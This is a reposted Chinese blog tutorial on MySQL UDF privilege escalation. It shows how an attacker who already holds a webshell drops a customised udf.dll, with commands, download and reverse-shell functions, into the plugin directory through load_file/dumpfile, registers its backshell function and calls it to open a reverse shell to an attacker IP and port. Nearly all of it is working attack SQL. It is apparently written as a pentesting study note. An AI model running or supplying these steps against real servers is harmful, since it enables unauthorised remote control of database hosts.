标签:导出 dll 提权 udf mysql backshell select
mysql udf反弹端口提权
- 本篇文章只是记录一下 udf.dll提权的另一种方法,不涉及udf.dll提权原理的详细讲解。
- 详细的原理讲解请移步博主的这篇文章:https://www.cnblogs.com/02SWD/p/15858250.html
- 本篇文章所使用的 udf.dll(该udf.dll只适用于32位的mysql数据库):
链接:https://pan.baidu.com/s/1N9eHd1uiXWox22etDNTmlg 提取码:z5jc
1. 复现
-
我们所使用的这个udf.dll是被定制过的,其中定义了以下函数。如下图:
-
部分函数说明:
- cmdshell:执行cmd
- downloader:下载者,到网上下载指定文件并保存到指定目录
- open3389:通用开3389终端服务,可指定端口(不改端口无需重启)
- backshell:反弹shell(本次文章主角)
- ProcessView:枚举系统进程
- KillProcess:终止指定进程
- regread:读注册表
- regwrite:写注册表
- shut:关机、注销、重启
- about:说明与帮助函数
-
1. 假设我们已经拿到了webshell,界面如下:
-
2. 接下来我们上传一下定制的udf.dll
-
3. 查看当前数据库的secure_file_priv参数
- payload
show variables like "secure_file_priv"
- 可以看到,该数据库的secure_file_priv参数没有设置任何值,说明可以导出
-
4. 我们将定制的udf.dll文件导出
-
看一下数据库的版本,查询一下导出的目录
- payload
select version() show variables like "%plugin%"
- 可以看到我们应该将 udf.dll 导出到 C:\phpStudy\MySQL\lib\plugin\ 目录下
-
导出udf.dll
select load_file('C:/phpStudy/WWW/udf.dll') into dumpfile 'C:/phpStudy/MySQL/lib/plugin/udf.dll'
- 可以看到已经导出成功了
- 可以看到已经导出成功了
-
-
5. 创建函数
- payload
CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll'; select name from mysql.func -- 查看一下是否创建成功
- 在这里我们创建的是 udf.dll 中的backshell函数
- 可以看到 backshell 函数成功的被创建
-
6. 调用函数,反弹shell
-
先nc监听一下
-
看一下攻击者的ip
-
调用函数
select backshell("192.168.1.103",50666);
- 可以看到,反弹成功
-
参考文章:https://blog.csdn.net/qq_45290991/article/details/117536250
标签:导出,dll,提权,udf,mysql,backshell,select 来源: https://www.cnblogs.com/02SWD/p/15858944.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。